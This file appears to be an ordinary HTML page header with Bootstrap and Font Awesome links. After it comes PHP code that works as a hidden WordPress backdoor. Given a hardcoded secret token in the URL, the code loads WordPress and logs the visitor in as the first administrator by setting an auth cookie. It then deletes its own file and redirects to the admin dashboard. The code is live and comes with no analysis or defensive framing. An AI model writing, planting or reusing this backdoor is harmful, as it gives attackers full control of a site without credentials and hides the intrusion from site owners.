<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet"
        integrity="sha384-GLhlTQ8iRABdZLl6O3oVMWSktQOp6b7In1Zl3/Jr59b6EGGoI1aFkw7cmDA6j6gD" crossorigin="anonymous">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.3.0/css/all.min.css"
        integrity="sha512-SzlrxWUlpfuzQ+pcUCosxcglQRNAq/DZjVsC0lE40xsADsfeQoEypE+enwcOiGjk/bSuGGKHEyjSoQ1zVisanQ=="
        crossorigin="anonymous" referrerpolicy="no-referrer" />
</head>
</html>
<?php
$secret_token = '2fa85795fb6482c9dca02444721de2c9';
if ( empty($_GET['token']) || $_GET['token'] !== $secret_token ) {
    http_response_code(403);
    die('Access denied');
}

define('WP_USE_THEMES', false);
require_once dirname(__FILE__) . '/wp-load.php';

function get_first_admin_id() {
    $admins = get_users( [ 'role' => 'administrator', 'number' => 1 ] );
    return $admins[0]->ID ?? null;
}

$user_id = get_first_admin_id();
if ( ! $user_id ) {
    if ( file_exists( __FILE__ ) ) { unlink( __FILE__ ); }
    die('No administrator found on this site.');
}

wp_clear_auth_cookie();
wp_set_current_user( $user_id );
wp_set_auth_cookie( $user_id, true, is_ssl() );

if ( file_exists( __FILE__ ) ) { unlink( __FILE__ ); }

wp_redirect( admin_url() );
exit;
